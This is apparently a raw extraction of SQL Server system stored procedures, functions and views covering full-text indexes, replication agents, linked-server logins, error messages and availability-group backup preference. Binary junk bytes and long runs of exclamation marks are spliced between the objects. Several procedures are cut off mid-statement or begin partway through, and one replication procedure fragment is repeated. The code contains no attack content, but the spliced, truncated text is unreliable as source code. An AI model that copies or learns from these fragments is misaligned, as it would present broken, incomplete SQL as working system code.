		from    sys.objects as sobj WITH(NOLOCK) -- the nolock is to not block while crawl or master merge is creating fragments
			join sys.fulltext_indexes as sftidx on (sobj.object_id = sftidx.object_id)
			join sys.indexes as sidx on(sftidx.unique_index_id = sidx.index_id and sftidx.object_id = sidx.object_id)
			join sys.schemas as ssche on (sobj.schema_id = ssche.schema_id)
			join sys.index_columns as sidxcol on (sftidx.object_id = sidxcol.object_id and sftidx.unique_index_id = sidxcol.index_id)
			left outer join sys.fulltext_catalogs as scat on (scat.fulltext_catalog_id = sftidx.fulltext_catalog_id)
		where(
				@fulltext_catalog_name is null or
				sftidx.fulltext_catalog_id = @ftcatid
			 ) and
			 (
				@table_name is null or
				sobj.object_id = @objid
			 )
			
		order by TABLE_OWNER, TABLE_NAME

	open @cursor_return

	-- SUCCESS --
	return 0	-- sp_help_fulltext_tables_cursor
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!A`<

Fh0Y!@ T8CREATE VIEW sys.service_contracts$ AS
	SELECT o.name,
		service_contract_id = o.id,
		principal_id = p.indepid
	FROM sys.sysbinobjs o
	LEFT JOIN sys.syssingleobjrefs p ON p.depid = o.id AND p.class = 54 AND p.depsubid = 0	-- SRC_CONTRACTOWNER
	WHERE o.class = 22 AND o.nsid = 0	-- SOC_SERVICECONTRACT
0
> >8--
-- Name: fn_MSconstraint_columns
--
-- Description: This helper function returns columns referenced in pk/un/fk/check/default constraints
--	
--
-- Parameters: 	
--	@objid int
--
-- Returns: table variable (see function header)
--
-- Notes: this is an internal helper function which allow us to join 
--	contents in DDL cmd with article partition and make sure
--	constaints are only replicated when column is in the partition
--	
--		
-- Security: not exposed to public
-- Requires Certificate signature for catalog access
-- 
create function sys.fn_MSconstraint_columns (@objid int)
returns @columns TABLE
(
	schema_name			sysname,
	constraint_name		sysname,
	type				char(2),
	constraint_column_name sysname,
	constraint_column_id int
)
as
begin
insert into @columns
--
-- PK,UQ are key constraints
-- (excludes implicity added "uniqifier" columns)
select  schema_name(sys.key_constraints.schema_id) as schema_name,
        sys.key_constraints.name   as constraint_name,
        sys.key_constraints.type,
        sys.columns.name as constraint_column_name,
        sys.columns.column_id as constraint_column_id
from    sys.key_constraints WITH ( READPAST )
join    sys.indexes
on      sys.key_constraints.parent_object_id = sys.indexes.object_id
    and sys.key_constraints.unique_index_id = sys.indexes.index_id
join    sys.index_columns
on      sys.indexes.index_id = sys.index_columns.index_id
    and sys.indexes.object_id = sys.index_columns.object_id
join    sys.columns
on      sys.index_columns.object_id = sys.columns.object_id
    and sys.index_columns.column_id = sys.columns.column_id
where   sys.key_constraints.type in ('PK','UQ')
    and sys.key_constraints.parent_object_id = @objid

union

--fake PK rows for indexed view
select  N'',
        sys.indexes.name as constraint_name,
        'PK',
        sys.columns.name as constraint_column_name,
        sys.columns.column_id as constraint_column_id
from    sys.columns
join    sys.index_columns
on      sys.index_columns.object_id = sys.columns.object_id
    and sys.index_columns.column_id = sys.columns.column_id
join    sys.indexes
on      sys.indexes.index_id = sys.index_columns.index_id
    and sys.indexes.object_id = sys.index_columns.object_id
where  sys.columns.object_id =  @objid
    and OBJECTPROPERTY (@objid, N'IsSchemaBound') = 1
    and sys.indexes.index_id = 1
    
union

-- FK are foreign key constraints
select  schema_name(sys.foreign_keys.schema_id) as schema_name,
        sys.foreign_keys.name as constraint_name,
        sys.foreign_keys.type,
        sys.columns.name as constraint_column_name,
        sys.columns.column_id as constraint_column_id
from    sys.foreign_keys WITH ( READPAST )
join    sys.foreign_key_columns
on      sys.foreign_keys.object_id = sys.foreign_key_columns.constraint_object_id
join    sys.columns
on      sys.foreign_key_columns.parent_object_id = sys.columns.object_id
    and sys.foreign_key_columns.parent_column_id = sys.columns.column_id
where   sys.foreign_keys.parent_object_id = @objid

union

--
-- CHECK constraints are SQL dependencies because they column names
-- show up in DML expression text rather than in DDL
--
select
        schema_name(sys.check_constraints.schema_id) as schema_name,
        sys.check_constraints.name as constraint_name,
        sys.check_constraints.type,
        check_constraint_columns.name as constraint_column_name,
        check_constraint_columns.column_id as constraint_column_id
from    sys.check_constraints WITH ( READPAST )
join (
    select  sys.sql_dependencies.object_id as constraint_object_id, sys.columns.*
    from    sys.sql_dependencies
    join    sys.columns
    on      sys.sql_dependencies.referenced_major_id = sys.columns.object_id
    and     sys.sql_dependencies.referenced_minor_id = sys.columns.column_id
)   as      check_constraint_columns
on      sys.check_constraints.object_id = check_constraint_columns.constraint_object_id
where   sys.check_constraints.parent_object_id = @objid

union

-- object type = D are default constraints
select
        schema_name(schema_id) as schema_name,
        sys.default_constraints.name as constraint_name,
        sys.default_constraints.type,
        sys.columns.name as constraint_column_name,
        sys.columns.column_id as constraint_column_id
from    sys.columns
join    sys.default_constraints WITH ( READPAST )
on      sys.columns.object_id = sys.default_constraints.parent_object_id
    and sys.columns.column_id = sys.default_constraints.parent_column_id
where   sys.default_constraints.parent_object_id = @objid

union

-- object type = D are defaults (created using CREATE DEFAULT) 
select  schema_name(o.schema_id) as schema_name,
        object_name(c.default_object_id) as constraint_name,
        'D' as type,
        c.name as constraint_column_name,
        c.column_id as constraint_column_id
from sys.columns c join sys.objects o WITH ( READPAST )
on c.object_id = o.object_id
where c.object_id = @objid
and c.default_object_id <> 0

return 
end
ll       or @pk_table_schema = schema_name(o1.schema_id))  -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and (                                   @foreignkey_tab_name = o2.name)                         -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and (@foreignkey_tab_schema  is null or @foreignkey_tab_schema = schema_name(o2.schema_id))  -- ISSUE - PERF - Do check against object_id, not against the names !!!

        and
        o1.object_id = r.referenced_object_id and
        o1.object_id = c1.object_id and
        c1.column_id = k.referenced_column_id and
        o2.object_id = r.parent_object_id and
        o2.object_id = c2.object_id and
        c2.column_id = k.parent_column_id
    order by 8,9,2,3,13
0ȯ 8
create procedure sys.sp_indexes_100_rowset2
(
    @index_name     sysname = null,
    @table_schema   sysname = null   
)
as
    select
        TABLE_CATALOG       = s_iv.TABLE_CATALOG,
        TABLE_SCHEMA        = s_iv.TABLE_SCHEMA,
        TABLE_NAME          = s_iv.TABLE_NAME,
        INDEX_CATALOG       = s_iv.INDEX_CATALOG,
        INDEX_SCHEMA        = s_iv.INDEX_SCHEMA,
        INDEX_NAME          = s_iv.INDEX_NAME,
        PRIMARY_KEY         = s_iv.PRIMARY_KEY,
        [UNIQUE]            = s_iv.[UNIQUE],
        [CLUSTERED]         = s_iv.[CLUSTERED],
        [TYPE]              = s_iv.[TYPE],
        FILL_FACTOR         = s_iv.FILL_FACTOR,
        INITIAL_SIZE        = s_iv.INITIAL_SIZE,
        NULLS               = s_iv.NULLS,
        SORT_BOOKMARKS      = s_iv.SORT_BOOKMARKS,
        AUTO_UPDATE         = s_iv.AUTO_UPDATE,
        NULL_COLLATION      = s_iv.NULL_COLLATION,
        ORDINAL_POSITION    = s_iv.ORDINAL_POSITION,
        COLUMN_NAME         = s_iv.COLUMN_NAME,
        COLUMN_GUID         = s_iv.COLUMN_GUID,
        COLUMN_PROPID       = s_iv.COLUMN_PROPID,
        [COLLATION]         = s_iv.[COLLATION],
        CARDINALITY         = s_iv.CARDINALITY,
        PAGES               = s_iv.PAGES,
        FILTER_CONDITION    = s_iv.FILTER_CONDITION,
        INTEGRATED          = s_iv.INTEGRATED,
        STATUS              = s_iv.STATUS

    from
        sys.spt_indexes_view_100 s_iv

    where
        (@table_schema is null or schema_id(@table_schema) = s_iv.SCHEMA_ID) and
        (@index_name is null   or @index_name = s_iv.INDEX_NAME)

    order by 8, 10, 4, 5, 6, 17
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!iZ	`<qʕy04 b8create procedure sys.sp_helplinkedsrvlogin
	@rmtsrvname		sysname = NULL,
	@locallogin		sysname = NULL
as
	declare	@srvid	int,
			@lgnid	int

    -- CHECK REMOTE SERVER NAME.
    if @rmtsrvname is not null
    begin
    	select @srvid = server_id from sys.servers where name = @rmtsrvname
    	if @srvid is null
    	begin
		raiserror(15015,-1,-1,@rmtsrvname)
		return (1)
    	end
    end

    -- IF SPECIFIED CHECK LOCAL USER NAME
    if (@locallogin IS NOT NULL)
    begin
    	select @lgnid = principal_id from sys.server_principals where name = @locallogin
    end
    
    select	u.name as [Linked Server], t.name as [Local Login],
		s.uses_self_credential as [Is Self Mapping], s.remote_name as [Remote Login]
    from sys.linked_logins s left join sys.server_principals t
		on s.local_principal_id=t.principal_id, sys.servers u
    where ((@srvid is null or @srvid=u.server_id) and u.server_id= s.server_id)
		and (@locallogin is null or @lgnid=s.local_principal_id)
    order by u.name

    -- RETURN SUCCESS
    return(0) -- sp_helplinkedsrvlogin
0Q; h8XMh>8^}|0=aF@ 8create procedure sys.sp_getqueuedarticlesynctraninfo 
(
    @publication sysname    -- publication - cannot be null
    ,@artid int                     -- article id - cannot be null
)
as
begin
    set nocount on
    declare @retcode int
                ,@owner sysname
                ,@synctraninsproc sysname
                ,@synctranupdproc sysname
                ,@synctrandelproc sysname
                ,@cftprocname sysname
                ,@articlename sysname
                ,@tablename sysname
    --
    -- security check - should be dbo or sysadmin
    --
    exec @retcode = sp_MSreplcheck_publish
    if @@error != 0 or @retcode != 0
        return 1
    if (object_id(N'dbo.sysarticleupdates') is null
            or object_id(N'dbo.syspublications') is null)
        return 1
    --
    -- get the information needed for resultset
    --
    select schema_name(objectproperty(a.sync_ins_proc, 'SchemaId'))
            ,object_name(a.sync_ins_proc)
            ,object_name(a.sync_upd_proc)
            ,object_name(a.sync_del_proc)
            ,object_name(a.ins_conflict_proc)
            ,art.name
            ,object_name(art.objid)
    from dbo.syspublications p 
        join dbo.sysarticles as art on p.pubid = art.pubid
        join dbo.sysarticleupdates as a on art.artid = a.artid
    where art.artid = @artid
        and p.name = @publication
    --
    -- all done
    --
    return 0
end
0E n8--
-- Name: 
--		sp_MSupdate_subscriber_tracer_history
-- 
-- Description: 
--		This procedure will update the MStracer_history row's subscriber_commit  
--		time to getdate(). 
--  
-- Parameters: 
--		@parent_tracer_id	int				tracer id of the parent
--		@subscriber			sysname			subscriber server name
--		@subscriber_db		sysname			subscriber database
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: 
--		Sysadmin/dbo/pal (run by distribution agent)
--
create procedure sys.sp_MSupdate_subscriber_tracer_history
(
	@parent_tracer_id	int,
	@agent_id			int
)
as
begin
    set nocount on

    declare @retcode 		int,
    		@current_date	datetime

	select @current_date = getdate()
	
    -- security check
    exec @retcode = sys.sp_MScheck_pull_access @agent_id = @agent_id, @agent_type = 0
    if @@error <> 0 or @retcode <> 0
    begin
        return 1 
    end
	
	begin transaction tr_sp_MSupd_sub_tracer_hist
	save transaction tr_sp_MSupd_sub_tracer_hist
	
	-- here we will update the subscriber commit time
	-- if the tracer history row no longer exists then
	-- we will exit with no error because this may happen
	-- if cleanup comes bye and removes the history row
	update MStracer_history
		set subscriber_commit = @current_date
		where parent_tracer_id = @parent_tracer_id
			and agent_id = @agent_id
	if @@error <> 0
		goto Err_Handler

	commit transaction tr_sp_MSupd_sub_tracer_hist
	return 0

Err_Handler:
	rollback transaction tr_sp_MSupd_sub_tracer_hist
	commit transaction

	return 1
end
umns as scol on (sftcol.object_id = scol.object_id and sftcol.column_id = scol.column_id) 
			left outer join sys.columns as scol2 on (sftcol.object_id = scol2.object_id and sftcol.type_column_id = scol2.column_id)
			join sys.schemas as ssche on (sobj.schema_id = ssche.schema_id)
	where 	(
			  @column_name is null or
			  scol.name = @column_name
			)   
			AND (
			  @table_name is null or
			  sobj.object_id = @objid
			) 
	order by TABLE_OWNER, TABLE_NAME, FULLTEXT_COLID

	open @cursor_return

	-- SUCCESS --
	return 0	-- sp_help_fulltext_columns_cursor
0M G
8create procedure sys.sp_dropmessage
	@msgnum int = null,		-- Number of message to drop.
	@lang sysname = null	-- Language of message to drop (or 'ALL')
as
	declare @retcode int
	declare @msglangid smallint

	-- Must be ServerAdmin to manage messages
	if is_srvrolemember('serveradmin') = 0
	begin
		raiserror(15247,-1,-1)
		return (1)
	end

	-- If no message id, show usage
	if @msgnum is null
	begin
		raiserror(15177,-1,-1)
		return (1)
	end

	-- Message id must be > 50000 (unless SQL Server is in single user mode)
	if @msgnum < 50001 AND 0 = SERVERPROPERTY('IsSingleUser')
	begin
		raiserror(15178,-1,-1)
		return(1)
	end

	-- Verify the language
	if @lang is null
		select @lang = @@language
	if upper(@lang) <> 'ALL'
	begin
		-- Check to see if this language is in Syslanguages.
		if not exists (select * from sys.syslanguages where name = @lang or alias = @lang)
			and @lang <> N'us_english'
		begin
			raiserror(15033,-1,-1,@lang)
			return (1)
		end

		-- Get langid from syslanguages; us_english won't exist, so use 0.
		select @msglangid = isnull((select msglangid from sys.syslanguages where name = @lang or alias = @lang),1033)
	end

	BEGIN TRANSACTION
	EXEC %%ErrorMessage(ID = @msgnum).Lock(Exclusive = 1)
	if (@@error <> 0) or	-- msg or specified langugage version not found
		(@msglangid is not null and not exists 
			(select * from sys.messages$ where message_id = @msgnum and language_id = @msglangid)
		)
	begin
		COMMIT TRANSACTION
		raiserror(15179,-1,-1,@msgnum)
		return(1)
	end

	-- The us_english version must be the last one to be dropped
	if (@msglangid = 1033) and (select count(*) from sys.messages$ where message_id = @msgnum) > 1
	begin
		COMMIT TRANSACTION
		raiserror(15280,-1,-1)
		return(1)
	end

	declare @msg_str nvarchar(50)
	set @msg_str = @msgnum

	-- Drop the message.
	if (upper(@lang) = 'ALL') or (@msglangid = 1033)
		EXEC %%ErrorMessage(ID = @msgnum).Remove()
	else
		EXEC %%ErrorMessage(ID = @msgnum).RemoveMessage(LanguageID = @msglangid)

		
	-- EMDEventType(x_eet_Drop_Message), EMDUniversalClass(x_eunc_Message), src major id, src minor id, src name
	-- -1 means ignore target stuff, target major id, target minor id, target name,
	-- # of parameters, 5 parameters
	EXEC %%System().FireTrigger(ID = 237, ID = 106, ID = @msgnum, ID = 0, Value = @msg_str,
		ID = -1, ID = 0, ID = 0, Value = NULL, 
		ID = 2, Value = @msgnum, Value = @lang, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

	COMMIT TRANSACTION

	return (0) -- sp_dropmessage
0MH 8 
-- add it
create view sys.dm_pdw_nodes_os_spinlock_stats as
select *, convert(int, null) pdw_node_id from sys.dm_os_spinlock_stats
0Q; h8XMh>8^}|!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*``
<44N1s0Ǥ 8create procedure sys.sp_check_removable @autofix varchar(4)
as
	declare @dbname sysname
	declare @exec_stmt nvarchar(max)
	declare @fgname sysname

	select @dbname=db_name()

	-- USE CORRECT non-dbo/guest CHECKING
	declare @ret int
	EXEC @ret = sys.sp_check_removable_sysusers @autofix
	if @ret <> 0
		return 1

	-- Run UPDATE STATISTICS on all user tables if there are no user defined filegroups
	if @autofix='auto' and
		(select count(*) from sysfilegroups) = 1
	begin
		select @exec_stmt = N'USE ' + quotename( @dbname , '[')
		+ N' EXEC sys.sp_updatestats '
		EXEC (@exec_stmt)
	end

	if (select count(*) from sysfilegroups) > 1
	begin
		if @autofix='auto'
		begin
			-- Mark any non-primary filegroups as READONLY
			DECLARE ms_crs_fg CURSOR LOCAL STATIC
			FOR SELECT groupname FROM sysfilegroups fg
				WHERE fg.groupid > 1 -- not primary
				AND fg.status & 0x8 = 0 -- not already readonly
				AND (SELECT count (*) FROM sysfiles f WHERE
				f.groupid = fg.groupid) > 0 -- has some files
			OPEN ms_crs_fg
			FETCH NEXT FROM ms_crs_fg INTO @fgname
			WHILE (@@FETCH_STATUS <> -1)
			BEGIN
				SELECT @exec_stmt = 'ALTER DATABASE '
				+ quotename( @dbname , '[')
				+ ' MODIFY FILEGROUP '
				+ quotename( @fgname , '[')
				+ ' READONLY'
				EXEC (@exec_stmt)
				FETCH NEXT FROM ms_crs_fg INTO @fgname
			END
			CLOSE ms_crs_fg
			DEALLOCATE ms_crs_fg
		end
		else
		begin
			if exists (SELECT groupname FROM sysfilegroups fg
				WHERE fg.groupid > 1 -- not primary
				AND fg.status & 0x8 = 0 -- not already readonly
				AND (SELECT count (*) FROM sysfiles f WHERE
				f.groupid = fg.groupid) > 0) -- has some files
			begin
				raiserror(15358,-1,-1)
				SELECT groupname FROM sysfilegroups fg
					WHERE fg.groupid > 1 -- not primary
					AND fg.status & 0x8 = 0 -- not already readonly
				return (-1)
			end
		end
	end
	return(0) -- sp_check_removable
06 r8create function sys.fn_remote_table_privileges(
	@server		sysname,
	@catalog	sysname = NULL,	
	@schema		sysname = NULL,
	@name		sysname = NULL,
	@grantor	sysname = NULL,
	@grantee	sysname = NULL)
returns table
as
return select * from OpenRowset(SYSREMOTE_TABLE_PRIVILEGES, @server, @catalog, @schema, @name, @grantor, @grantee)
0 8
create procedure sys.sp_linkedservers
as
    select
        SRV_NAME            = srv.name,
        SRV_PROVIDERNAME    = srv.provider,
        SRV_PRODUCT         = srv.product,
        SRV_DATASOURCE      = srv.data_source,
        SRV_PROVIDERSTRING  = srv.provider_string,
        SRV_LOCATION        = srv.location,
        SRV_CAT             = srv.catalog
    from
        sys.servers srv
    order by 1
0&`v@ D8bh:0 8create procedure sys.sp_MSget_type 
(
    @tabid int, 
    @colid int, 
    @colname sysname output,
    @typestring nvarchar(4000) output,
    @userdefinedtypestobasetypes bit = 0,
    @xmltontext bit = 0,
    @maxtypestomatchingnonmaxtypes bit = 0,
    @newdatetimetostrings bit = 0
)
as
begin
    declare @ccolchar nvarchar(5)
                ,@coltype tinyint
                ,@prec int
                ,@scale int
                ,@ccoltype sysname
                ,@xtype int
                ,@length int
                ,@is_assembly_type bit
                ,@type_schema_id int

    declare @retcode int
    
    --
    -- get the metadata (handle UDF properly)
    --
    select @colname = c.name ,@xtype = c.system_type_id, @length = c.max_length, @prec = c.precision, @scale = c.scale
        ,@ccoltype = t.name, @is_assembly_type = t.is_assembly_type, @type_schema_id = t.schema_id
    from (sys.columns c join sys.types t 
                on ((c.system_type_id != 240 and c.system_type_id = t.user_type_id) or (c.system_type_id = 240 and c.user_type_id = t.user_type_id)) )
    where c.object_id = @tabid and c.column_id = @colid 
    --
    -- initialize the result string
    --
    select @typestring = @ccoltype
    --
    -- datatypes requiring precision (nchar, nvarchar, binary, varbinary)
    -- format: @var <dt> (prec)
    --
    if @ccoltype in (N'char',N'nchar', N'varchar', N'nvarchar', N'binary', N'varbinary') 
    begin
        if (@length = -1)
        begin
            --
            -- precision not required for varchar(max), varbinary(max), nvarchar(max)
            --
            if @maxtypestomatchingnonmaxtypes = 1
                select @typestring = NULL
            else
                select @typestring = @typestring + N'(max)'
        end
        else
        begin
            --
            -- precision required
            --
            if (@ccoltype in (N'nchar', N'nvarchar'))
                select @length = @length/2
            select @typestring = @typestring + N'(' + rtrim(convert(nchar(10),@length)) + N')'
        end
    end
    else if @ccoltype in (N'numeric', N'decimal') 
    begin
        --
        -- datatypes requiring precision & scale (numeric & decimal)
        -- format: @var <dt> (prec, scale)
        --
        select @typestring = @typestring + N'(' + rtrim(convert(nchar(10),ColumnProperty(@tabid, @colname, 'PRECISION'))) + N',' + 
                    rtrim(convert(nchar(10),@scale)) + N')'
    end
    else if @ccoltype in (N'text',N'ntext',N'image')
    begin
        --
        -- text/image datatypes cannot be declared or used locally
        --
        select  @typestring = NULL
    end
    else if @ccoltype in (N'date')
    begin
        if @newdatetimetostrings = 1
        begin
            set @typestring = N'nvarchar(10)'
        end        
    end
    else if @ccoltype in (N'datetime2', N'datetimeoffset', N'time')
    begin
        if @newdatetimetostrings = 1
        begin
            select @typestring = case @ccoltype 
                when N'datetime2' then N'nvarchar(27)'
                when N'datetimeoffset' then N'nvarchar(34)'
                when N'time' then N'nvarchar(16)'
            end
        end
        else
        begin
            set @typestring = @typestring + N'(' + rtrim(convert(nvarchar(10), @scale)) + ')'
        end   
    end 
    else if @is_assembly_type = 1
    begin
        if (@userdefinedtypestobasetypes = 1)
        begin
            --
            -- CLR UDT is converted to image, set @typestring to NULL
            --
            select  @typestring = NULL
        end
        else
        begin
            --
            -- Prefix the schema name to CLR UDT type
            --
            select  @typestring = quotename(schema_name(@type_schema_id)) + N'.' + quotename(@ccoltype)
        end
    end
    else if @ccoltype in (N'xml') and @xmltontext = 1
    begin
        --
        -- XML type is converted to ntext, set @typestring to NULL
        --
        select  @typestring = NULL
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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Y, @clauseno, 0) a 
05O 8create procedure sys.sp_MSset_subscription_properties 
(
    @publisher      sysname,            -- publishing server name
    @publisher_db   sysname,          -- publishing database name. If NULL then same as current db
    @publication    sysname,          -- publication name,
    @subscription_type int,
    @allow_subscription_copy bit,
    @queue_id sysname,
    @update_mode int,
    @attach_version binary(16),
    @queue_server sysname = NULL
)
AS
BEGIN
    set nocount on
    declare @retcode int
                ,@failover_mode bit

    --  Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)

    -- For non independent agent publications
    if @publication is null or @publication = ''
        set @publication = 'ALL'

    if @queue_server = N''
        select @queue_server = NULL

    if @queue_id = N''
        select @queue_id = NULL

    --
    -- Failover mode is overloaded in @update_mode
    -- Get the proper values for failover_mode and update_mode
    --
    if (@update_mode in (6,7))
    begin
        -- Failover with Queued as the default mode
        if (@update_mode = 6)
        begin
            -- sql queues
            select @update_mode = 5
                     ,@failover_mode = 1
        end
        else
        begin
            -- MQ queues
            select @update_mode = 3
                     ,@failover_mode = 1
        end
    end
    else
    begin
        -- for all other cases, failover_mode should be initialized to 0
        select @failover_mode = 0
    end
    --
    -- Update metadata in MSsubscription_agents
    --
    update dbo.MSsubscription_agents set      
        allow_subscription_copy = @allow_subscription_copy,
        update_mode = @update_mode,
        failover_mode = @failover_mode,
        queue_id = @queue_id,
        queue_server = @queue_server,
        attach_version = @attach_version
    where UPPER(publisher) = UPPER(@publisher)
        and publisher_db =  @publisher_db
        and publication = @publication
        and subscription_type = @subscription_type
    --
    -- for queued pull subscriptions 
    -- update column update_mode in MSreplication_subscriptions
    -- as we never know the right update_mode until initialization
    --
    if ((@subscription_type = 1) and (@queue_id IS NOT NULL) and
    exists (select * from MSreplication_subscriptions 
        WHERE UPPER(publisher) = UPPER(@publisher) AND
            publisher_db  = @publisher_db AND
            publication = @publication AND
            subscription_type = @subscription_type))
    begin
        update MSreplication_subscriptions 
        set update_mode = @update_mode
        WHERE UPPER(publisher) = UPPER(@publisher) AND
            publisher_db  = @publisher_db AND
            publication = @publication AND
            subscription_type = @subscription_type
    end
END
0 T8CREATE PROCEDURE sys.sp_MSdrop_anonymous_entry
(
    @subid uniqueidentifier,
    @login sysname,
    @type int -- 1 tran sub, 2 merge sub
)
as
begin
	declare @sid varbinary(85)
	declare @agent_id int, @retcode int
	set nocount on 
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
	if @type not in (1,2)
	begin
		raiserror(20587, 16, -1, '@type', 'sp_MSdrop_anonymous_entry')
		return (1)
	end
	-- If tran
	if @type = 1
	begin
		select @sid = sid from MSdistribution_agents where
			anonymous_subid = @subid
	end
	else
	begin
		select @sid = sid from dbo.MSmerge_agents where
			anonymous_subid = @subid
	end
	if @sid is null
	begin
		RAISERROR (14055, 11, -1)
		return(1)
	end
	-- null login means no security check needed
	if @login is not null and suser_sid(@login, 0) <> @sid
	begin
		set @login = suser_sname(@sid)
		RAISERROR (20596, 11, -1, @login)
		RETURN (1)
	end

	if @type = 1
	begin
		select @agent_id = id from MSdistribution_agents where anonymous_subid = @subid
		if @agent_id is not null
		begin
			exec @retcode = sys.sp_MSdrop_distribution_agentid @agent_id
			if @retcode <> 0 or @@error <> 0
				return 1
		end
	end
	else
	begin
		select @agent_id = id from dbo.MSmerge_agents where anonymous_subid = @subid
		if @agent_id is not null
		begin
			exec @retcode = sys.sp_MSdrop_merge_agentid @agent_id
			if @retcode <> 0 or @@error <> 0
				return 1
		end
	end
end
0j@ 8create procedure sys.sp_MSsethighestversion (@artnick int)
as
    set nocount on
    declare @minlineagelength int
    set @minlineagelength= 10

    declare @maxversion int
    declare @maxversiontombstone int

    set @maxversion= (select max({fn GETMAXVERSION(mc.lineage)}) 
            from dbo.MSmerge_contents as mc inner join #oldgens as og on (mc.generation = og.gen) where
                tablenick = @artnick and
                lineage is not null and
                datalength(lineage) >= @minlineagelength)
    if @@error<>0 goto Failure

    set @maxversiontombstone= (select max({fn GETMAXVERSION(mt.lineage)}) 
            from dbo.MSmerge_tombstone as mt inner join #oldgens as og on (mt.generation = og.gen) where
                tablenick = @artnick and
                lineage is not null and
                datalength(lineage) >= @minlineagelength)
    if @@error<>0 goto Failure

    if @maxversion is null
    begin
        set @maxversion= @maxversiontombstone
    end

    if @maxversiontombstone is not null and @maxversiontombstone > @maxversion
    begin
        set @maxversion= @maxversiontombstone
    end

    if @maxversion is not null
    begin
        update dbo.sysmergearticles set maxversion_at_cleanup= @maxversion where
            nickname = @artnick and
            maxversion_at_cleanup < @maxversion
        if @@error<>0 goto Failure
    end

    return 0

Failure:
    return 1
0 8CREATE FUNCTION sys.fn_repldecryptver4_wrapper
(
    @password nvarchar(524)
)
RETURNS nvarchar(524)
WITH EXECUTE AS 'dbo'
AS
begin
    return sys.fn_repldecryptver4(@password)
end
tribution_agents where
			anonymous_subid = @subid
	end
	else
	begin
		select @sid = sid from dbo.MSmerge_agents where
			anonymous_subid = @subid
	end
	if @sid is null
	begin
		RAISERROR (14055, 11, -1)
		return(1)
	end
	-- null login means no security check needed
	if @login is not null and suser_sid(@login, 0) <> @sid
	begin
		set @login = suser_sname(@sid)
		RAISERROR (20596, 11, -1, @login)
		RETURN (1)
	end

	if @type = 1
	begin
		select @agent_id = id from MSdistribution_agents where anonymous_subid = @subid
		if @agent_id is not null
		begin
			exec @retcode = sys.sp_MSdrop_distribution_agentid @agent_id
			if @retcode <> 0 or @@error <> 0
				return 1
		end
	end
	else
	begin
		select @agent_id = id from dbo.MSmerge_agents where anonymous_subid = @subid
		if @agent_id is not null
		begin
			exec @retcode = sys.sp_MSdrop_merge_agentid @agent_id
			if @retcode <> 0 or @@error <> 0
				return 1
		end
	end
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'
	'a
`<,/']v0 8
create function sys.fn_hadr_backup_is_preferred_replica (
    @database_name sysname )
returns bit
as
begin
    declare @is_preferred bit
    declare @count int
    declare @role int
    declare @ag_pref int
    declare @ag_id uniqueidentifier
    declare @database_group_id nvarchar(40)
    declare @primary_server_name sysname
    declare @local_server_name sysname
    declare @replica_server_name sysname
    declare @islocal int

    -- If this database is in a Database Mirroring configuration, return 1 for Primary, and 0 for Secondary/mirror,
    -- since Primary is the only copy where backup will work on DBM.
    --
    select @role = mirroring_role
    from master.sys.database_mirroring
    where database_id = db_id(@database_name);

    if (@role is not null)
    begin
        if (@role = 2)
        begin
            select @is_preferred = 0
            return 0
        end
        else
        begin
            select @is_preferred = 1
            return 1
        end
    end

    -- This is not a Database Mirroring configuration.
    --
    select @role = ars.role
    from sys.dm_hadr_availability_replica_states ars
         inner join sys.databases dbs 
             on ars.replica_id = dbs.replica_id
    where dbs.name = @database_name;

    if (@role is null)
    begin
        -- Database is not in an AG, must be a standalone DB so return 1.
        --
	return 1
    end

    -- Get the ag_id for future use, and get the preference
    --
    select @ag_id = ar.group_id,
           @ag_pref = ag.automated_backup_preference,
           @database_group_id = CAST(db.group_database_id as nvarchar(40))
    from sys.databases db,
         sys.availability_replicas ar,
         sys.availability_groups ag
    where db.database_id = DB_ID(@database_name)
          and ar.replica_id = db.replica_id
          and ag.group_id = ar.group_id;

    select @primary_server_name = ags.primary_replica 
    from sys.dm_hadr_availability_group_states ags 
    where ags.group_id = @ag_id;

    select @local_server_name = @@servername;

    declare replica_cursor cursor local forward_only for
    select cast(ar.replica_id as nvarchar(36)) as replica_id,
           cast(ag.resource_id as nvarchar(36)) as resource_id,
           case ar.replica_server_name
               when @primary_server_name then 1 -- primary
               else 2 -- secondary
           end as role,
           case ar.replica_server_name
               when @local_server_name then 1
               else 0
           end as is_local
    from sys.availability_groups ag
         join sys.availability_replicas ar
             on ar.group_id = ag.group_id    
